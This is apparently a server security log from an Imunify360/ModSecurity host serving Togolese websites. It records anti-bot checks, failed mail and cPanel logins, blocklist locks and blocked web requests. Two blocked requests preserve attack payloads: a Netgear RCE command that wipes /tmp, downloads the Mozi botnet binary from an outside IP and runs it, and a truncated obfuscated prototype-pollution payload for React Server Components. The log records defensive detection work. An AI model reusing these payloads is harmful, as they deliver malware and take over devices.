178.58.26.107 - - [17/Jun/2026:13:20:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115926&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702406 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:178.58.26.107


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:20:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657431&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702430 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.36.105.210
country_id: 2510769
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2015/03/DAO-LOT-3_CENTRALE-SOLAIRE_DNCMP_V.F.-DU-10.0315.pdf HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:21:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:21:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.65.238.40
country_id: 1643084
description:
202.65.238.40 - - [17/Jun/2026:13:21:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052698&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DYmludGFuZ3NhbXVkcmFAc29lY2hpdGFua2Vycy5jb20%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702477 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=YmludGFuZ3NhbXVkcmFAc29lY2hpdGFua2Vycy5jb20=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.65.238.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 17 13:21:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.156.59.146
country_id: 1814991
description:
Jun 17 13:22:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.156.59.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.156.59.146
country_id: 1814991
description:
2026-06-17 13:22:34 dovecot_login authenticator failed for H=([149.34.191.39]) [61.156.59.146]:39732: 535 Incorrect authentication data (set_id=no-reply@cameg-togo.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.87.253.139
country_id: 2017370
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-22.45.87.253.139||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>d\xc3\xa9marr\xc3\xa9es lundi dernier \xc3\xa0 nots\xc3\xa8, les c\xc3\xa9r\xc3\xa9monies fun\xc3\xa9raires en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv, roi des ew\xc3\xa9, se poursuivent \xc3\xa0 nots\xc3\xa8. ce mardi 16 juin 2026, plusieurs d\xc3\xa9l\xc3\xa9gations venues de diff\xc3\xa9rentes r\xc3\xa9gions du pays ont pr\xc3\xa9sent\xc3\xa9 leurs condol\xc3\xa9ances \xc3\xa0 la famille royale.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans la matin\xc3\xa9e, une d\xc3\xa9l\xc3\xa9gation de la pr\xc3\xa9fecture de haho conduite par le pr\xc3\xa9fet, le colonel gnakou alow\xc3\xa8gnim, a pr\xc3\xa9sent\xc3\xa9 ses sinc\xc3\xa8res condol\xc3\xa9ances \xc3\xa0 la famille royale. elle \xc3\xa9tait compos\xc3\xa9e notamment de maires, de conseillers municipaux, de responsables des structures publiques et priv\xc3\xa9es ainsi que de chefs de services d\xc3\xa9concentr\xc3\xa9s de l'\xc3\x89tat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au nom de la d\xc3\xa9l\xc3\xa9gation, le pr\xc3\xa9fet de haho a rendu hommage \xc3\xa0 la m\xc3\xa9moire du souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31333,\"width\":\"661px\",\"height\":\"auto\",\"aspectratio\":\"1.499330655957162\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/2ea1fb5d-68de-4f25-8aef-087670bc3d31-1024x683.jpg\" alt=\"\" class=\"wp-image-31333\" style=\"aspect-ratio:1.499330655957162;width:661px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab la disparition de sa majest\xc3\xa9 constitue une grande perte pour la famille royale, la pr\xc3\xa9fecture de haho et la nation togolaise. le roi \xc3\xa9tait un homme de dialogue et de paix qui a \xc5\x93uvr\xc3\xa9 pour la coh\xc3\xa9sion sociale au togo. nous t\xc3\xa9moignons notre solidarit\xc3\xa9 et notre soutien \xc3\xa0 la famille royale \xc3\xa9plor\xc3\xa9e \xc2\xbb,</em> a-t-il d\xc3\xa9clar\xc3\xa9 avant de signer le livre de condol\xc3\xa9ances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie a \xc3\xa9galement enregistr\xc3\xa9 la pr\xc3\xa9sence de plusieurs d\xc3\xa9l\xc3\xa9gations de chefs traditionnels et coutumiers venues des r\xc3\xa9gions des savanes, de la kara et de la centrale pour exprimer leur compassion \xc3\xa0 la famille royale et rendre hommage \xc3\xa0 l'illustre disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>parmi les autres d\xc3\xa9l\xc3\xa9gations pr\xc3\xa9sentes figuraient les repr\xc3\xa9sentants du secteur des transports, notamment l'union nationale des transporteurs du togo (unatrot), l'union des routiers du togo (urt) et l'union des syndicats des conducteurs routiers du togo (usycort). une d\xc3\xa9l\xc3\xa9gation de la chambre des m\xc3\xa9tiers du togo a \xc3\xa9galement effectu\xc3\xa9 le d\xc3\xa9placement de nots\xc3\xa8 pour pr\xc3\xa9senter ses condol\xc3\xa9ances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans l'apr\xc3\xa8s-midi, les manifestations se sont poursuivies avec la danse traditionnelle mamano ex\xc3\xa9cut\xc3\xa9e par les populations du quartier adim\xc3\xa8. consid\xc3\xa9r\xc3\xa9e comme l'une des plus anciennes danses traditionnelles de nots\xc3\xa8, elle est historiquement associ\xc3\xa9e aux guerriers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31334,\"width\":\"603px\",\"height\":\"auto\",\"aspectratio\":\"1.481930699892494\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/5db1297e-c791-409f-8bf4-34c4cb6cb548-1024x691.jpg\" alt=\"\" class=\"wp-image-31334\" style=\"aspect-ratio:1.481930699892494;width:603px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers cette prestation hautement symbolique, les participants ont rendu hommage au souverain disparu tout en r\xc3\xa9affirmant leur attachement aux traditions ancestrales du peuple ew\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:23:40 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:23:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44748: 535 Incorrect authentication data (set_id=oqwrqoqwrwq)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.15.158.83
country_id: 1269750
description:
47.15.158.83 - - [17/Jun/2026:13:25:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974612&pdata=https%253A%252F%252Fcfpj.tg%252Fvivu-10321netidm51zin.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702716 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/vivu-10321netidm51zin.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.15.158.83


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:13:24:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986644&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702667 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:24:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804999&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702667 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [17/Jun/2026:13:27:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13026506&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-pieces-etablissement-carte-nationale-identite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702836 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-pieces-etablissement-carte-nationale-identite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-17 13:26:24 +0000] info [cpaneld] 5.230.133.212 - libertepansel "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.56.3
country_id: 1814991
description:
2026-06-17 13:28:36 dovecot_login authenticator failed for H=([77.41.156.64]) [61.145.56.3]:41038: 535 Incorrect authentication data (set_id=no-reply@anrtogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [17/Jun/2026:13:28:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711755&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781702914 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le parlement de la cedeao \xc3\xa0 travers sa commission mixte \xc3\x89nergie et mines | agriculture, environnement et ressources naturelles | infrastructures organise du 15 au 19 juin 2026 \xc3\xa0 dakar (s\xc3\xa9n\xc3\xa9gal) une r\xc3\xa9union d\xc3\xa9localis\xc3\xa9e sur le th\xc3\xa8me \xc2\xab exploiter les \xc3\xa9nergies renouvelables pour l'\xc3\xa9lectrification rurale et le renforcement des \xc3\xa9conomies rurales dans l\xe2\x80\x99espace de la cedeao : le r\xc3\xb4le du parlement de la cedeao \xc2\xbb.&nbsp; ceci conform\xc3\xa9ment \xc3\xa0 l\xe2\x80\x99article (4 h) de l\xe2\x80\x99acte additionnel relatif au renforcement des pr\xc3\xa9rogatives et \xc3\xa0 son programme d\xe2\x80\x99activit\xc3\xa9s pour 2026.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la r\xc3\xa9union qui d\xc3\xa9bute ce lundi dans la capitale s\xc3\xa9n\xc3\xa9galaise permettra aux parlementaires d\xe2\x80\x99\xc3\xa9changer avec les principaux acteurs concern\xc3\xa9s, d\xe2\x80\x99approfondir leur compr\xc3\xa9hension des enjeux et de d\xc3\xa9finir des mesures concr\xc3\xa8tes et applicables pour acc\xc3\xa9l\xc3\xa9rer l\xe2\x80\x99\xc3\xa9lectrification rurale et soutenir le d\xc3\xa9veloppement des \xc3\xa9conomies rurales dans toute la r\xc3\xa9gion de la cedeao.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9cisons qu\xe2\x80\x99au cours de cette r\xc3\xa9union de dakar, les parlementaires de la cedeao vont examiner comment le d\xc3\xa9ploiement des \xc3\xa9nergies renouvelables peut am\xc3\xa9liorer l'\xc3\xa9lectrification rurale et contribuer au d\xc3\xa9veloppement \xc3\xa9conomique rural dans les \xc3\x89tats membres de la cedeao, tout en soulignant le r\xc3\xb4le du parlement de la cedeao dans la mise en \xc5\x93uvre des politiques et des initiatives \xc3\xa9nerg\xc3\xa9tiques r\xc3\xa9gionales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31006,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31006\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>a la fin de la r\xc3\xa9union d\xc3\xa9localis\xc3\xa9e de dakar, les parlementaires seront pleinement inform\xc3\xa9s de l\xe2\x80\x99\xc3\xa9tat d\xe2\x80\x99avancement, des d\xc3\xa9fis et des opportunit\xc3\xa9s li\xc3\xa9s au d\xc3\xa9ploiement des \xc3\xa9nergies renouvelables et aux initiatives d\xe2\x80\x99\xc3\xa9lectrification rurale en afrique de l\xe2\x80\x99ouest. ils auront \xc3\xa9galement une compr\xc3\xa9hension claire des liens entre les solutions d\xe2\x80\x99\xc3\xa9nergies renouvelables et le d\xc3\xa9veloppement \xc3\xa9conomique des zones rurales. une opportunit\xc3\xa9 pour ces parlementaires de mieux s\xe2\x80\x99outiller pour identifier les options de financement et les opportunit\xc3\xa9s d\xe2\x80\x99investissement susceptibles de faciliter le d\xc3\xa9veloppement des infrastructures d\xe2\x80\x99\xc3\xa9nergies renouvelables dans les zones rurales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99\xc3\xa0 travers sa commission mixte \xc3\x89nergie et mines, agriculture, environnement et ressources naturelles, infrastructures, en organisant cette r\xc3\xa9union d\xc3\xa9localis\xc3\xa9e de dakar, le r\xc3\xb4le du parlement de la cedeao dans le plaidoyer en faveur de la mise en \xc5\x93uvre des politiques et programmes r\xc3\xa9gionaux en mati\xc3\xa8re d\xe2\x80\x99\xc3\xa9nergies renouvelables est renforc\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, la communaut\xc3\xa9 \xc3\xa9conomique des \xc3\x89tats de l'afrique de l'ouest (cedeao), fid\xc3\xa8le \xc3\xa0 son engagement d'assurer l'acc\xc3\xa8s universel \xc3\xa0 l'\xc3\xa9nergie d'ici \xc3\xa0 2030, a plac\xc3\xa9 l'\xc3\xa9nergie au c\xc5\x93ur de son programme de d\xc3\xa9veloppement. ceci t\xc3\xa9moigne d'une compr\xc3\xa9hension claire du r\xc3\xb4le essentiel que joue une \xc3\xa9nergie durable et abordable dans la croissance \xc3\xa9conomique, le progr\xc3\xa8s social et l'int\xc3\xa9gration r\xc3\xa9gionale. \xc3\x80 cet \xc3\xa9gard, l'\xc3\xa9lectrification rurale demeure indispensable pour r\xc3\xa9duire la pauvret\xc3\xa9, am\xc3\xa9liorer les conditions de vie et atteindre les objectifs de d\xc3\xa9veloppement durable (odd).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99afrique de l\xe2\x80\x99ouest est notamment riche en ressources d\xe2\x80\x99\xc3\xa9nergies renouvelables. la r\xc3\xa9gion b\xc3\xa9n\xc3\xa9ficie d\xe2\x80\x99un fort ensoleillement, de l\xe2\x80\x99ordre de 5 \xc3\xa0 6 kwh par m\xc3\xa8tre carr\xc3\xa9 et par jour, ainsi que d\xe2\x80\x99un potentiel hydro\xc3\xa9lectrique consid\xc3\xa9rable, estim\xc3\xa9 \xc3\xa0 plus de 25.000 mw. toutefois, seule une fraction de ces ressources est actuellement exploit\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"586px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:586px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 titre d\xe2\x80\x99exemple, le solaire photovolta\xc3\xafque et les autres \xc3\xa9nergies renouvelables ne repr\xc3\xa9sentent qu\xe2\x80\x99environ 1 % de la production d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9 de la cedeao, domin\xc3\xa9e par le gaz naturel (45 %), les produits p\xc3\xa9troliers (32 %) et l\xe2\x80\x99hydro\xc3\xa9lectricit\xc3\xa9 (21 %). il existe donc un \xc3\xa9cart manifeste entre les ressources disponibles et leur niveau d\xe2\x80\x99exploitation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9cisons que la sixi\xc3\xa8me l\xc3\xa9gislature du parlement de la cedeao est pr\xc3\xa9sid\xc3\xa9e par l\xe2\x80\x99honorable d\xc3\xa9put\xc3\xa9e ibrahima m\xc3\xa9mounatou du togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>cr\xc3\xa9do tetteh (in le medium n\xc2\xb0707 du 16 au 22 juin 2026)</strong><strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 104.207.42.163
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:nrzector||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"data_11753767\":\"loading\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"then\":\"$1:__proto__:then\",\"data_1b358aec\":\"\",\"status\":\"resolved_model\",\"$39a54f7e\":\"8ac8a53cc1856b74\",\"_response\":{\"_prefix\":\"var wsw=arguments['\\\\x31'];var awo=wsw;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 110.37.38.176
country_id: 1168579
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.18||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://110.37.38.176:59584/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.99
country_id: 3469034
description:
2026-06-17 13:36:13 dovecot_plain authenticator failed for H=([192.168.15.9]) [104.28.152.99]:49029: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:35:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343942&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781703342 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:36:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:36:30 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-06-17 13:37:38 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:41742: 535 Incorrect authentication data (set_id=reseaux@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 17 13:37:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:39:07 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
